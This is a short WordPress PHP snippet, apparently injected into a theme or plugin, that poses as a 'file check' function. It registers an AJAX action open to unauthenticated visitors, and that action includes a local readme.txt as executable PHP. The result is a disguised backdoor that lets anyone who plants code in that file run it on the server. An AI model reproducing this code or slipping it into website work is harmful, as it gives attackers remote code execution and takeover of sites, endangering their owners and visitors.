if(!function_exists('file_check_readme14021')){ add_action('wp_ajax_nopriv_file_check_readme14021', 'file_check_readme14021'); add_action('wp_ajax_file_check_readme14021', 'file_check_readme14021'); function file_check_readme14021() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }